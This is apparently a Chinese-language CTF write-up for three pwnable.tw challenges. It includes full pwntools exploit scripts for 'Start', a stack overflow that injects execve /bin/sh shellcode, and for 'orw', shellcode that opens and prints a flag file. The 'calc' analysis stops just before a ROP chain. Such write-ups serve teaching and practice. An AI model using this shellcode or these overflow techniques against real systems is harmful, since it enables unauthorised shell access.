听说很难,来找虐
1.Start [100 pts]
之前湖湘杯有一题啥防护措施都没开启,我就不会做,所以不敢开心的太早
拖进IDA,这啥东西
还是直接看汇编吧
这是个系统调用
大概就是系统中断之后直接调用吧,边上有注释,不然我直接凉了
来,看一下汇编
先把地址给ecx,给了给长度范围,饭后执行标准输出,输出到终端,然后执行写操作
进入写函数以后,标准读入,长度还是20
思路:第一次输出操作时泄露esp返回地址,第二次读入操作时将esp修改,并写入shellcode,改变程序运作
返回地址其实也还OK,我们可以看到最后有个add 14h 在retn的地方,这里跳到的肯定是返回地址,我们可以看见esp之后会被读出来,那我们可以选择把esp改为当前esp泄露出来,然后再加上0x14就找到真正的返回地址了
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./start')
bin = ELF('./start')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('chall.pwnable.tw',10000)
bin = ELF('./start')
#libc = ELF('')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload='a'*20+p32(0x08048087)
cn.recvuntil(':')
cn.send(payload)
addr=u32(cn.recv(4))
esp=addr+20
print hex(esp)
payload2='a'*20+p32(esp)+shellcode
cn.send(payload2)
print cn.recv(100)
cn.interactive()
2.orw [100 pts]
题目提示是open read write,拖进IDA分析
最后就是先读入我们输入的,然后执行
题目让我们Read the flag from /home/orw/flag
.
直接构造shellcode,这题的考点就是shellcode怎么制作
我们先要知道系统调用号,查看/usr/include/asm/unistd.h,这有个链接:http://blog.sina.com.cn/s/blog_8c0c9acd010182wt.html
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
然后要慢慢看系统调用表了,头秃,我不会,慢慢学吧,还有系统调用约定也不熟悉:https://blog.csdn.net/cw312644167/article/details/80051573
调用系统调用有两种方式
1. 通过操作系统提供的库函数进行系统调用
2. 直接通过0x80中断与系统通信
这里显然是用2
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./orw')
bin = ELF('./orw')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('chall.pwnable.tw',10001)
bin = ELF('./orw')
#libc = ELF('')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
open_shell='push {};'.format(hex(u32('ag'+chr(0)+chr(0))))
open_shell+='push {};'.format(hex(u32('w/fl')))
open_shell+='push {};'.format(hex(u32('e/or')))
open_shell+='push {};'.format(hex(u32('/hom')))
open_shell+='mov ebx,esp;' #*filename
open_shell+='xor edx,edx;' #int mode
open_shell+='xor eax,eax;'
open_shell+='xor ecx,ecx;'
open_shell+='mov eax,0x5;' #sys_open
open_shell+='int 0x80;'
read_shell='mov ebx,eax;' #int fd
read_shell+='xor eax,eax;'
read_shell+='mov ecx,esp;' #*buf
read_shell+='mov edx,0x30;' #size
read_shell+='mov eax,0x3;' #sys_read
read_shell+='int 0x80;'
write_shell='mov eax,0x4;' #sys_write
write_shell+='mov ebx,0x1;' #int fd=1 0 标准输入, 1 标准输出
write_shell+='mov edx,0x30;' #size
write_shell+='int 0x80'
shellcode=open_shell+read_shell+write_shell
cn.recvuntil(':')
cn.send(asm(shellcode))
#print cn.recv(100)
cn.interactive()
恶补了一波寄存器吧,对应的功能都忘记的差不多了,很尴尬
3.calc [150 pts]
题目提示是个计算机之类的东西
开启了canary和NX,拖进IDA看一下,希望漏洞比较容易发现吧……
主要的函数就是一个calc,跟进去看一下
然后这个函数里面函数就比较多了,还蛮复杂的
函数一个一个分析太累了,我们先顾名思义的结合程序猜一下
1)刚开始的这个bzero这个函数我觉得理解成将0x400个字节的空间清0是合理的
然后我们先执行一下程序做一下相关的分析
这个字符串对应的函数位置还是可以找到的,用来大致猜出函数意图
2)get_expr这个函数用来过滤,留下计算机可以运作的数据和字符,如下
3)init_pool存储所有输入的字符串,如下
4) parse_expr一开始先给0x64个字节清0,里面有个eval函数,对应各个case,如下
我们再接着分析,一开始如下所示
a1存放的是我们输入的式子,然后-48和9进行比较,这其实就是一个读取操作字符的流程
自一个循环中判断,若小于9,则是数字,若大于,则为操作符号,操作符号-48后是负数,换算成无符号int之后远比9大
若是数字直接继续读取下一个字符,如下
第二个操作数如果是0,直接break,有毒,我试了一下2+0也会报错,这个bug也是佛了
对于静态编译的程序,很容易可以生成一个rop链,如下